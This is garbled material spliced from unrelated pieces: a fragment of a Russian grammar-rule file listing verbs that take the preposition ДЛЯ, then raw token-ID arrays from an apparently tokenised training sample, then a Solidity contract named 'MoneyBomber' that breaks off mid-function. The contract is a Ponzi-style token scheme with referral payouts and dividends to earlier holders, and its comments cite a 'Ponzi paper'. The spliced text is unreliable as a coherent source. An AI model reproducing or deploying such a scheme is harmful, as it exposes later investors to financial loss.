ДЛЯ) rus_verbs:ПРИМЕНЯТЬСЯ{}, // Применяется для изготовления алкогольных коктейлей (ПРИМЕНЯТЬСЯ ДЛЯ) rus_verbs:СОВЕРШАТЬСЯ{}, // Для этого совершался специальный магический обряд (СОВЕРШАТЬСЯ ДЛЯ) rus_verbs:ПРИМЕНИТЬ{}, // а здесь попробуем применить ее для других целей. (ПРИМЕНИТЬ ДЛЯ) rus_verbs:ПОЗВАТЬ{}, // ты позвал меня для настоящей работы. (ПОЗВАТЬ ДЛЯ) rus_verbs:НАЧАТЬСЯ{}, // очередной денек начался для Любки неудачно (НАЧАТЬСЯ ДЛЯ) rus_verbs:ПОСТАВИТЬ{}, // вас здесь для красоты поставили? (ПОСТАВИТЬ ДЛЯ) rus_verbs:умереть{}, // или умерла для всяких чувств? (умереть для) rus_verbs:ВЫБРАТЬ{}, // ты сам выбрал для себя этот путь. (ВЫБРАТЬ ДЛЯ) rus_verbs:ОТМЕТИТЬ{}, // тот же отметил для себя другое. (ОТМЕТИТЬ ДЛЯ) rus_verbs:УСТРОИТЬ{}, // мы хотим устроить для них школу. (УСТРОИТЬ ДЛЯ) rus_verbs:БЫТЬ{}, // у меня есть для тебя работа. (БЫТЬ ДЛЯ) rus_verbs:ВЫЙТИ{}, // для всего нашего поколения так вышло. (ВЫЙТИ ДЛЯ) прилагательное:ВАЖНЫЙ{}, // именно твое мнение для нас крайне важно. (ВАЖНЫЙ ДЛЯ) прилагательное:НУЖНЫЙ{}, // для любого племени нужна прежде всего сила. (НУЖЕН ДЛЯ) прилагательное:ДОРОГОЙ{}, // эти места были дороги для них обоих. (ДОРОГОЙ ДЛЯ) rus_verbs:НАСТУПИТЬ{}, // теперь для больших людей наступило время действий. (НАСТУПИТЬ ДЛЯ) rus_verbs:ДАВАТЬ{}, // старый пень давал для этого хороший огонь. (ДАВАТЬ ДЛЯ) rus_verbs:ГОДИТЬСЯ{}, // доброе старое время годится лишь для воспоминаний. (ГОДИТЬСЯ ДЛЯ) rus_verbs:ТЕРЯТЬ{}, // время просто теряет для вас всякое значение. (ТЕРЯТЬ ДЛЯ) rus_verbs:ЖЕНИТЬСЯ{}, // настало время жениться для пользы твоего клана. (ЖЕНИТЬСЯ ДЛЯ) rus_verbs:СУЩЕСТВОВАТЬ{}, // весь мир перестал существовать для них обоих. (СУЩЕСТВОВАТЬ ДЛЯ) rus_verbs:ЖИТЬ{}, // жить для себя или жить для них. (ЖИТЬ ДЛЯ) rus_verbs:открыть{}, // двери моего дома всегда открыты для вас. (ОТКРЫТЫЙ ДЛЯ) rus_verbs:закрыть{}, // этот мир будет закрыт для них. (ЗАКРЫТЫЙ ДЛЯ) rus_verbs:ТРЕБОВАТЬСЯ{}, // для этого требуется огромное количество энергии. (ТРЕБОВАТЬСЯ ДЛЯ) rus_verbs:РАЗОРВАТЬ{}, // Алексей разорвал для этого свою рубаху. (РАЗОРВАТЬ ДЛЯ) rus_verbs:ПОДОЙТИ{}, // вполне подойдет для начала нашей экспедиции. (ПОДОЙТИ ДЛЯ) прилагательное:опасный{}, // сильный холод опасен для открытой раны. (ОПАСЕН ДЛЯ) rus_verbs:ПРИЙТИ{}, // для вас пришло очень важное сообщение. (ПРИЙТИ ДЛЯ) rus_verbs:вывести{}, // мы специально вывели этих животных для мяса. rus_verbs:убрать{}, // В вагонах метро для комфорта пассажиров уберут сиденья (УБРАТЬ В, ДЛЯ) rus_verbs:оставаться{}, // механизм этого воздействия остается для меня загадкой. (остается для) rus_verbs:ЯВЛЯТЬСЯ{}, // Чай является для китайцев обычным ежедневным напитком (ЯВЛЯТЬСЯ ДЛЯ) rus_verbs:ПРИМЕНЯТЬ{}, // Для оценок будущих изменений климата применяют модели общей циркуляции атмосферы. (ПРИМЕНЯТЬ ДЛЯ) rus_verbs:ПОВТОРЯТЬ{}, // повторяю для Пети (ПОВТОРЯТЬ ДЛЯ) rus_verbs:УПОТРЕБЛЯТЬ{}, // Краски, употребляемые для живописи (УПОТРЕБЛЯТЬ ДЛЯ) rus_verbs:ВВЕСТИ{}, // Для злостных нарушителей предложили ввести повышенные штрафы (ВВЕСТИ ДЛЯ) rus_verbs:найтись{}, // у вас найдется для него работа? rus_verbs:заниматься{}, // они занимаются этим для развлечения. (заниматься для) rus_verbs:заехать{}, // Коля заехал для обсуждения проекта rus_verbs:созреть{}, // созреть для побега rus_verbs:наметить{}, // наметить для проверки rus_verbs:уяснить{}, // уяснить для себя rus_verbs:нанимать{}, // нанимать для разовой работы rus_verbs:приспособить{}, // приспособить для удовольствия rus_verbs:облюбовать{}, // облюбовать для посиделок rus_verbs:прояснить{}, // прояснить для себя rus_verbs:задействовать{}, // задействовать для патрулирования rus_verbs:приготовлять{}, // приготовлять для проверки инфинитив:использовать{ вид:соверш }, // использовать для достижения цели инфинитив:использовать{ вид:несоверш }, глагол:использовать{ вид:соверш }, глагол:использовать{ вид:несоверш }, прилагательное:использованный{}, деепричастие:используя{}, деепричастие:использовав{}, rus_verbs:напрячься{}, // напрячься для решительного рывка rus_verbs:одобрить{}, // одобрить для использования rus_verbs:одобрять{}, // одобрять для использования rus_verbs:пригодиться{}, // пригодиться для тестирования rus_verbs:готовить{}, // готовить для выхода в свет rus_verbs:отобрать{}, // отобрать для участия в конкурсе rus_verbs:потребоваться{}, // потребоваться для подтверждения rus_verbs:пояснить{}, // пояснить для слушателей rus_verbs:пояснять{}, // пояснить для экзаменаторов rus_verbs:понадобиться{}, // понадобиться для обоснования инфинитив:адаптировать{вид:несоверш}, // машина была адаптирована для условий крайнего севера инфинитив:адаптировать{вид:соверш}, глагол:адаптировать{вид:несоверш}, глагол:адаптировать{вид:соверш}, деепричастие:адаптировав{}, деепричастие:адаптируя{}, прилагательное:адаптирующий{}, прилагательное:адаптировавший{ вид:соверш }, //+прилагательное:адаптировавший{ вид:несоверш }, прилагательное:адаптированный{}, rus_verbs:найти{}, // Папа нашел для детей няню прилагательное:вредный{}, // Это вредно для здоровья. прилагательное:полезный{}, // Прогулки полезны для здоровья. прилагательное:обязательный{}, // Этот пункт обязателен для исполнения прилагательное:бесполезный{}, // Это лекарство бесполезно для него прилагательное:необходимый{}, // Это лекарство необходимо для выздоровления rus_verbs:создать{}, // Он не создан для этого дела. прилагательное:сложный{}, // задача сложна для младших школьников прилагательное:несложный{}, прилагательное:лёгкий{}, прилагательное:сложноватый{}, rus_verbs:становиться{}, rus_verbs:представлять{}, // Это не представляет для меня интереса. rus_verbs:значить{}, // Я рос в деревне и хорошо знал, что для деревенской жизни значат пруд или речка rus_verbs:пройти{}, // День прошёл спокойно для него. rus_verbs:проходить{}, rus_verbs:высадиться{}, // большой злой пират и его отчаянные помощники высадились на необитаемом острове для поиска зарытых сокровищ rus_verbs:высаживаться{}, rus_verbs:прибавлять{}, // Он любит прибавлять для красного словца. rus_verbs:прибавить{}, rus_verbs:составить{}, // Ряд тригонометрических таблиц был составлен для астрономических расчётов. rus_verbs:составлять{}, rus_verbs:стараться{}, // Я старался для вас rus_verbs:постараться{}, // Я постарался для вас rus_verbs:сохраниться{}, // Старик хорошо сохранился для своего возраста. rus_verbs:собраться{}, // собраться для обсуждения rus_verbs:собираться{}, // собираться для обсуждения rus_verbs:уполномочивать{}, rus_verbs:уполномочить{}, // его уполномочили для ведения переговоров rus_verbs:принести{}, // Я принёс эту книгу для вас. rus_verbs:делать{}, // Я это делаю для удовольствия. rus_verbs:сделать{}, // Я сделаю это для удовольствия. rus_verbs:подготовить{}, // я подготовил для друзей сюрприз rus_verbs:подготавливать{}, // я подготавливаю для гостей новый сюрприз rus_verbs:закупить{}, // Руководство района обещало закупить новые комбайны для нашего села rus_verbs:купить{}, // Руководство района обещало купить новые комбайны для нашего села rus_verbs:прибыть{} // они прибыли для участия } fact гл_предл { if context { Гл_ДЛЯ_Род предлог:для{} *:*{ падеж:род } } then return true } fact гл_предл { if context { Гл_ДЛЯ_Род предлог:для{} @regex("[a-z]+[0-9]*") } then return true } // для остальных падежей запрещаем. fact гл_предл { if context { * предлог:для{} *:*{} } then return false,-4 } #endregion Предлог_ДЛЯ #region Предлог_ОТ // попробуем иную стратегию - запретить связывание с ОТ для отдельных глаголов, разрешив для всех остальных. wordentry_set Глаг_ОТ_Род_Запр= { rus_verbs:наслаждаться{}, // свободой от обязательств rus_verbs:насладиться{}, rus_verbs:мочь{}, // Он не мог удержаться от смеха. // rus_verbs:хотеть{}, rus_verbs:желать{}, rus_verbs:чувствовать{}, // все время от времени чувствуют его. rus_verbs:планировать{}, rus_verbs:приняться{} // мы принялись обниматься от радости. } fact гл_предл { if context { Глаг_ОТ_Род_Запр предлог:от{} * } then return false } #endregion Предлог_ОТ #region Предлог_БЕЗ /* // запретить связывание с БЕЗ для отдельных глаголов, разрешив для всех остальных. wordentry_set Глаг_БЕЗ_Род_Запр= { rus_verbs:мочь{}, // Он мог читать часами без отдыха. rus_verbs:хотеть{}, rus_verbs:желать{}, rus_verbs:планировать{}, rus_verbs:приняться{} } fact гл_предл { if context { Глаг_БЕЗ_Род_Запр предлог:без{} * } then return false } */ #endregion Предлог_БЕЗ #region Предлог_КРОМЕ fact гл_предл { if context { * ПредлогДляВсе * } then return false,-5 } #endregion Предлог_КРОМЕ // ------------------------------------ // По умолчанию разрешаем все остальные сочетания. fact гл_предл { if context { * * * } then return true }
появляться в театре
rus_verbs:появляться{},
5,482,331
[ 1, 145, 128, 145, 127, 146, 242, 145, 115, 145, 124, 146, 242, 146, 229, 146, 239, 146, 228, 146, 242, 225, 145, 115, 225, 146, 229, 145, 118, 145, 113, 146, 229, 146, 227, 145, 118, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 436, 407, 67, 502, 2038, 30, 145, 128, 145, 127, 146, 242, 145, 115, 145, 124, 146, 242, 146, 229, 146, 239, 146, 228, 146, 242, 2916, 16, 225, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.4.23; contract MoneyBomber{ // scaleFactor is used to convert Ether into tokens and vice-versa: they're of different // orders of magnitude, hence the need to bridge between the two. uint256 constant scaleFactor = 0x10000000000000000;// 2^64 int constant crr_n = 1;//CRR numerator int constant crr_d = 2;//CRR denominator uint256 constant fee_premine = 0;//No Premine int constant price_coeff = 0x44fa9cf152cd34a98; // Array between each address and their number of tokens. mapping(address => uint256) public holdings; //cut down by a percentage when you sell out. mapping(address => uint256) public avgFactor_ethSpent; mapping(address => uint256) public color_R; mapping(address => uint256) public color_G; mapping(address => uint256) public color_B; // Array between each address and how much Ether has been paid out to it. // Note that this is scaled by the scaleFactor variable. mapping(address => address) public reff; mapping(address => uint256) public tricklingPass; mapping(address => uint256) public pocket; mapping(address => int256) public payouts; // Variable tracking how many tokens are in existence overall. uint256 public totalBondSupply; // Aggregate sum of all payouts. // Note that this is scaled by the scaleFactor variable. int256 totalPayouts; uint256 public trickleSum; uint256 public stakingRequirement = 1e18; address public lastGateway; uint256 constant trickTax = 3; //divides flux'd fee and for every pass up //flux fee ratio and contract score keepers uint256 public withdrawSum; uint256 public investSum; // Variable tracking how much Ether each token is currently worth. // Note that this is scaled by the scaleFactor variable. uint256 earningsPerBond; event onTokenPurchase( address indexed customerAddress, uint256 incomingEthereum, uint256 tokensMinted, address indexed gateway ); event onBoughtFor( address indexed buyerAddress, address indexed forWho, uint256 incomingEthereum, uint256 tokensMinted, address indexed gateway ); event onReinvestFor( address indexed buyerAddress, address indexed forWho, uint256 incomingEthereum, uint256 tokensMinted, address indexed gateway ); event onTokenSell( address indexed customerAddress, uint256 totalTokensAtTheTime,//maybe it'd be cool to see what % people are selling from their total bank uint256 tokensBurned, uint256 ethereumEarned, uint256 resolved, address indexed gateway ); event onReinvestment( address indexed customerAddress, uint256 ethereumReinvested, uint256 tokensMinted, address indexed gateway ); event onWithdraw( address indexed customerAddress, uint256 ethereumWithdrawn ); event onCashDividends( address indexed ownerAddress, address indexed receiverAddress, uint256 ethereumWithdrawn ); event onColor( address indexed customerAddress, uint256 oldR, uint256 oldG, uint256 oldB, uint256 newR, uint256 newG, uint256 newB ); event onTrickle( address indexed fromWho, address indexed finalReff, uint256 reward, uint256 passUp ); // The following functions are used by the front-end for display purposes. // Returns the number of tokens currently held by _owner. function holdingsOf(address _owner) public constant returns (uint256 balance) { return holdings[_owner]; } // Withdraws all dividends held by the caller sending the transaction, updates // the requisite global variables, and transfers Ether back to the caller. function withdraw(address to) public { if(to == 0x0000000000000000000000000000000000000000 ){ to = msg.sender; } trickleUp(msg.sender); // Retrieve the dividends associated with the address the request came from. uint256 balance = dividends(msg.sender); //uint256 pocketBalance = tricklePocket[msg.sender]; //tricklePocket[msg.sender] = 0; // Update the payouts array, incrementing the request address by `balance`. payouts[msg.sender] += (int256) (balance * scaleFactor); // Increase the total amount that's been paid out to maintain invariance. totalPayouts += (int256) (balance * scaleFactor); uint256 pocketETH = pocket[msg.sender]; pocket[msg.sender] = 0; trickleSum -= pocketETH; balance += pocketETH; // Send the dividends to the address that requested the withdraw. withdrawSum += balance; to.transfer(balance); emit onCashDividends(msg.sender,to,balance); } function fullCycleSellBonds(uint256 balance) internal { // Send the cashed out stake to the address that requested the withdraw. withdrawSum += balance; msg.sender.transfer(balance); emit onWithdraw(msg.sender, balance); } // Sells your tokens for Ether. This Ether is assigned to the callers entry // in the tokenBalance array, and therefore is shown as a dividend. A second // call to withdraw() must be made to invoke the transfer of Ether back to your address. function sellBonds(uint256 _amount) public { uint256 bondBalance = holdings[msg.sender]; if(_amount <= bondBalance && _amount > 0){ sell(_amount); }else{ sell(bondBalance); } } // The slam-the-button escape hatch. Sells the callers tokens for Ether, then immediately // invokes the withdraw() function, sending the resulting Ether to the callers address. function getMeOutOfHere() public { sellBonds( holdings[msg.sender] ); withdraw(msg.sender); } function reffUp(address _reff) internal{ address sender = msg.sender; if (_reff == 0x0000000000000000000000000000000000000000 || _reff == msg.sender){ _reff = reff[sender]; } if( holdings[_reff] < stakingRequirement ){//if req not met if(lastGateway == 0x0000000000000000000000000000000000000000){ lastGateway = sender;//first buyer ever _reff = sender;//first buyer is their own gateway/masternode //initialize fee pre-mine investSum = msg.value * fee_premine; withdrawSum = msg.value * fee_premine; } else _reff = lastGateway;//the lucky last player gets to be the gate way. } reff[sender] = _reff; } function rgbLimit(uint256 _rgb)internal pure returns(uint256){ if(_rgb > 255) return 255; else return _rgb; } //BONUS //when you don't pick a color, the contract will need a default. which will be your current color function edgePigment(uint8 C)internal view returns (uint256 x) { uint256 holding = holdings[msg.sender]; if(holding==0) return 0; else{ if(C==0){ return 255 * color_R[msg.sender]/holding; }else if(C==1){ return 255 * color_G[msg.sender]/holding; }else if(C==2){ return 255 * color_B[msg.sender]/holding; } } } function fund(address reffo, address forWho) payable public { fund_color( reffo, forWho, edgePigment(0),edgePigment(1),edgePigment(2) ); } function fund_color( address _reff, address forWho,uint256 cR,uint256 cG,uint256 cB) payable public { // Don't allow for funding if the amount of Ether sent is less than 1 szabo. reffUp(_reff); if (msg.value > 0.000001 ether){ investSum += msg.value; cR=rgbLimit(cR); cG=rgbLimit(cG); cB=rgbLimit(cB); buy( forWho ,cR,cG,cB); if (holdings[msg.sender]>0) lastGateway = msg.sender; } else { revert(); } } function reinvest_color(address forWho,uint256 cR,uint256 cG,uint256 cB) public { cR=rgbLimit(cR); cG=rgbLimit(cG); cB=rgbLimit(cB); processReinvest( forWho, cR,cG,cB); } function reinvest(address forWho) public { processReinvest( forWho, edgePigment(0),edgePigment(1),edgePigment(2) ); } // Function that returns the (dynamic) price of a single token. function price(bool buyOrSell) public constant returns (uint) { if(buyOrSell){ return getTokensForEther(1 finney); }else{ uint256 eth = getEtherForTokens(1 finney); uint256 fee = fluxFeed(eth, false, false); return eth - fee; } } function fluxFeed(uint256 _eth, bool slim_reinvest,bool newETH) public constant returns (uint256 amount) { uint256 finalInvestSum; if(newETH) finalInvestSum = investSum-_eth;//bigger buy bonus else finalInvestSum = investSum; uint256 contract_ETH = finalInvestSum - withdrawSum; if(slim_reinvest){//trickleSum can never be 0, trust me return _eth/(contract_ETH/trickleSum) * contract_ETH /investSum; }else{ return _eth * contract_ETH / investSum; } /* Fee 100eth IN & 100eth OUT = 0% tax fee (returning 1) 100eth IN & 50eth OUT = 50% tax fee (returning 2) 100eth IN & 33eth OUT = 66% tax fee (returning 3) 100eth IN & 25eth OUT = 75% tax fee (returning 4) 100eth IN & 10eth OUT = 90% tax fee (returning 10) */ } // Calculate the current dividends associated with the caller address. This is the net result // of multiplying the number of tokens held by their current value in Ether and subtracting the // Ether that has already been paid out. function dividends(address _owner) public constant returns (uint256 amount) { return (uint256) ((int256)( earningsPerBond * holdings[_owner] ) - payouts[_owner] ) / scaleFactor; } // Internal balance function, used to calculate the dynamic reserve value. function contractBalance() internal constant returns (uint256 amount){ // msg.value is the amount of Ether sent by the transaction. return investSum - withdrawSum - msg.value - trickleSum; } function trickleUp(address fromWho) internal{//you can trickle up other people by giving them some. uint256 tricks = tricklingPass[ fromWho ];//this is the amount moving in the trickle flo if(tricks > 0){ tricklingPass[ fromWho ] = 0;//we've already captured the amount so set your tricklingPass flo to 0 uint256 passUp = tricks * (investSum - withdrawSum)/investSum;//to get the amount we're gonna pass up. divide by trickTax uint256 reward = tricks-passUp;//and our remaining reward for ourselves is the amount we just slice off subtracted from the flo address finalReff;//we're not exactly sure who we're gonna pass this up to yet address reffo = reff[ fromWho ];//this is who it should go up to. if everything is legit if( holdings[reffo] >= stakingRequirement){ finalReff = reffo;//if that address is holding enough to stake, it's a legit node to flo up to. }else{ finalReff = lastGateway;//if not, then we use the last buyer } tricklingPass[ finalReff ] += passUp;//so now we add that flo you've passed up to the tricklingPass of the final Reff pocket[ finalReff ] += reward;// Reward emit onTrickle(fromWho, finalReff, reward, passUp); } } function buy(address forWho,uint256 cR,uint256 cG,uint256 cB) internal { // Any transaction of less than 1 szabo is likely to be worth less than the gas used to send it. if (msg.value < 0.000001 ether || msg.value > 1000000 ether) revert(); //Fee to pay existing holders, and the referral commission uint256 fee = 0; uint256 trickle = 0; if(holdings[forWho] != totalBondSupply){ fee = fluxFeed(msg.value,false,true); trickle = fee/trickTax; fee = fee - trickle; tricklingPass[forWho] += trickle; } uint256 numEther = msg.value - (fee+trickle);// The amount of Ether used to purchase new tokens for the caller. uint256 numTokens = 0; if(numEther > 0){ numTokens = getTokensForEther(numEther);// The number of tokens which can be purchased for numEther. buyCalcAndPayout( forWho, fee, numTokens, numEther, reserve() ); addPigment(forWho, numTokens,cR,cG,cB); } if(forWho != msg.sender){//make sure you're not yourself //if forWho doesn't have a reff or if that masternode is weak, then reset it if(reff[forWho] == 0x0000000000000000000000000000000000000000 || (holdings[reff[forWho]] < stakingRequirement) ) reff[forWho] = msg.sender; emit onBoughtFor(msg.sender, forWho, numEther, numTokens, reff[forWho] ); }else{ emit onTokenPurchase(forWho, numEther ,numTokens , reff[forWho] ); } trickleSum += trickle;//add to trickle's Sum after reserve calculations trickleUp(forWho); } function buyCalcAndPayout(address forWho,uint256 fee,uint256 numTokens,uint256 numEther,uint256 res)internal{ // The buyer fee, scaled by the scaleFactor variable. uint256 buyerFee = fee * scaleFactor; if (totalBondSupply > 0){// because ... // Compute the bonus co-efficient for all existing holders and the buyer. // The buyer receives part of the distribution for each token bought in the // same way they would have if they bought each token individually. uint256 bonusCoEff = (scaleFactor - (res + numEther) * numTokens * scaleFactor / ( totalBondSupply + numTokens) / numEther) *(uint)(crr_d) / (uint)(crr_d-crr_n); // The total reward to be distributed amongst the masses is the fee (in Ether) // multiplied by the bonus co-efficient. uint256 holderReward = fee * bonusCoEff; buyerFee -= holderReward; // The Ether value per token is increased proportionally. earningsPerBond += holderReward / totalBondSupply; } //resolve reward tracking stuff avgFactor_ethSpent[forWho] += numEther; // Add the numTokens which were just created to the total supply. We're a crypto central bank! totalBondSupply += numTokens; // Assign the tokens to the balance of the buyer. holdings[forWho] += numTokens; // Update the payout array so that the buyer cannot claim dividends on previous purchases. // Also include the fee paid for entering the scheme. // First we compute how much was just paid out to the buyer... int256 payoutDiff = (int256) ((earningsPerBond * numTokens) - buyerFee); // Then we update the payouts array for the buyer with this amount... payouts[forWho] += payoutDiff; // And then we finally add it to the variable tracking the total amount spent to maintain invariance. totalPayouts += payoutDiff; } // Sell function that takes tokens and converts them into Ether. Also comes with a 10% fee // to discouraging dumping, and means that if someone near the top sells, the fee distributed // will be *significant*. function TOKEN_scaleDown(uint256 value,uint256 reduce) internal view returns(uint256 x){ uint256 holdingsOfSender = holdings[msg.sender]; return value * ( holdingsOfSender - reduce) / holdingsOfSender; } function sell(uint256 amount) internal { uint256 numEthersBeforeFee = getEtherForTokens(amount); // x% of the resulting Ether is used to pay remaining holders. uint256 fee = 0; uint256 trickle = 0; if(totalBondSupply != holdings[msg.sender]){ fee = fluxFeed(numEthersBeforeFee, false,false); trickle = fee/ trickTax; fee -= trickle; tricklingPass[msg.sender] +=trickle; } // Net Ether for the seller after the fee has been subtracted. uint256 numEthers = numEthersBeforeFee - (fee+trickle); //How much you bought it for divided by how much you're getting back. //This means that if you get dumped on, you can get more resolve tokens if you sell out. uint256 resolved = mint( calcResolve(msg.sender,amount,numEthersBeforeFee), msg.sender ); // *Remove* the numTokens which were just sold from the total supply. avgFactor_ethSpent[msg.sender] = TOKEN_scaleDown(avgFactor_ethSpent[msg.sender] , amount); color_R[msg.sender] = TOKEN_scaleDown(color_R[msg.sender] , amount); color_G[msg.sender] = TOKEN_scaleDown(color_G[msg.sender] , amount); color_B[msg.sender] = TOKEN_scaleDown(color_B[msg.sender] , amount); totalBondSupply -= amount; // Remove the tokens from the balance of the buyer. holdings[msg.sender] -= amount; int256 payoutDiff = (int256) (earningsPerBond * amount);//we don't add in numETH because it is immedietly paid out. // We reduce the amount paid out to the seller (this effectively resets their payouts value to zero, // since they're selling all of their tokens). This makes sure the seller isn't disadvantaged if // they decide to buy back in. payouts[msg.sender] -= payoutDiff; // Decrease the total amount that's been paid out to maintain invariance. totalPayouts -= payoutDiff; // Check that we have tokens in existence (this is a bit of an irrelevant check since we're // selling tokens, but it guards against division by zero). if (totalBondSupply > 0) { // Scale the Ether taken as the selling fee by the scaleFactor variable. uint256 etherFee = fee * scaleFactor; // Fee is distributed to all remaining token holders. // rewardPerShare is the amount gained per token thanks to this sell. uint256 rewardPerShare = etherFee / totalBondSupply; // The Ether value per token is increased proportionally. earningsPerBond += rewardPerShare; } fullCycleSellBonds(numEthers); trickleSum += trickle; trickleUp(msg.sender); emit onTokenSell(msg.sender,holdings[msg.sender]+amount,amount,numEthers,resolved,reff[msg.sender]); } // Converts the Ether accrued as dividends back into Staking tokens without having to // withdraw it first. Saves on gas and potential price spike loss. function processReinvest(address forWho,uint256 cR,uint256 cG,uint256 cB) internal{ // Retrieve the dividends associated with the address the request came from. uint256 balance = dividends(msg.sender); // Update the payouts array, incrementing the request address by `balance`. // Since this is essentially a shortcut to withdrawing and reinvesting, this step still holds. payouts[msg.sender] += (int256) (balance * scaleFactor); // Increase the total amount that's been paid out to maintain invariance. totalPayouts += (int256) (balance * scaleFactor); // Assign balance to a new variable. uint256 pocketETH = pocket[msg.sender]; uint value_ = (uint) (balance + pocketETH); pocket[msg.sender] = 0; // If your dividends are worth less than 1 szabo, or more than a million Ether // (in which case, why are you even here), abort. if (value_ < 0.000001 ether || value_ > 1000000 ether) revert(); uint256 fee = 0; uint256 trickle = 0; if(holdings[forWho] != totalBondSupply){ fee = fluxFeed(value_, true,false );// reinvestment fees are lower than regular ones. trickle = fee/ trickTax; fee = fee - trickle; tricklingPass[forWho] += trickle; } // A temporary reserve variable used for calculating the reward the holder gets for buying tokens. // (Yes, the buyer receives a part of the distribution as well!) uint256 res = reserve() - balance; // The amount of Ether used to purchase new tokens for the caller. uint256 numEther = value_ - (fee+trickle); // The number of tokens which can be purchased for numEther. uint256 numTokens = calculateDividendTokens(numEther, balance); buyCalcAndPayout( forWho, fee, numTokens, numEther, res ); addPigment(forWho, numTokens,cR,cG,cB); if(forWho != msg.sender){//make sure you're not yourself //if forWho doesn't have a reff, then reset it address reffOfWho = reff[forWho]; if(reffOfWho == 0x0000000000000000000000000000000000000000 || (holdings[reffOfWho] < stakingRequirement) ) reff[forWho] = msg.sender; emit onReinvestFor(msg.sender,forWho,numEther,numTokens,reff[forWho]); }else{ emit onReinvestment(forWho,numEther,numTokens,reff[forWho]); } trickleUp(forWho); trickleSum += trickle - pocketETH; } function addPigment(address forWho, uint256 tokens,uint256 r,uint256 g,uint256 b) internal{ color_R[forWho] += tokens * r / 255; color_G[forWho] += tokens * g / 255; color_B[forWho] += tokens * b / 255; emit onColor(forWho,r,g,b,color_R[forWho] ,color_G[forWho] ,color_B[forWho] ); } // Dynamic value of Ether in reserve, according to the CRR requirement. function reserve() internal constant returns (uint256 amount){ return contractBalance()-((uint256) ((int256) (earningsPerBond * totalBondSupply) - totalPayouts ) / scaleFactor); } // Calculates the number of tokens that can be bought for a given amount of Ether, according to the // dynamic reserve and totalSupply values (derived from the buy and sell prices). function getTokensForEther(uint256 ethervalue) public constant returns (uint256 tokens) { return fixedExp(fixedLog(reserve() + ethervalue)*crr_n/crr_d + price_coeff) - totalBondSupply ; } // Semantically similar to getTokensForEther, but subtracts the callers balance from the amount of Ether returned for conversion. function calculateDividendTokens(uint256 ethervalue, uint256 subvalue) public constant returns (uint256 tokens) { return fixedExp(fixedLog(reserve() - subvalue + ethervalue)*crr_n/crr_d + price_coeff) - totalBondSupply; } // Converts a number tokens into an Ether value. function getEtherForTokens(uint256 tokens) public constant returns (uint256 ethervalue) { // How much reserve Ether do we have left in the contract? uint256 reserveAmount = reserve(); // If you're the Highlander (or bagholder), you get The Prize. Everything left in the vault. if (tokens == totalBondSupply ) return reserveAmount; // If there would be excess Ether left after the transaction this is called within, return the Ether // corresponding to the equation in Dr Jochen Hoenicke's original Ponzi paper, which can be found // at https://test.jochen-hoenicke.de/eth/ponzitoken/ in the third equation, with the CRR numerator // and denominator altered to 1 and 2 respectively. return reserveAmount - fixedExp((fixedLog(totalBondSupply - tokens) - price_coeff) * crr_d/crr_n); } function () payable public { if (msg.value > 0) { fund(lastGateway,msg.sender); } else { withdraw(msg.sender); } } address public resolver = this; uint256 public totalSupply; uint256 constant private MAX_UINT256 = 2**256 - 1; mapping (address => uint256) public balances; mapping (address => mapping (address => uint256)) public allowed; string public name = "MoneyBomber"; uint8 public decimals = 18; string public symbol = "$$$"; event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); event Resolved(address indexed _owner, uint256 amount); function mint(uint256 amount,address _account) internal returns (uint minted){ totalSupply += amount; balances[_account] += amount; emit Resolved(_account,amount); return amount; } function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } function calcResolve(address _owner,uint256 amount,uint256 _eth) public constant returns (uint256 calculatedResolveTokens) { return 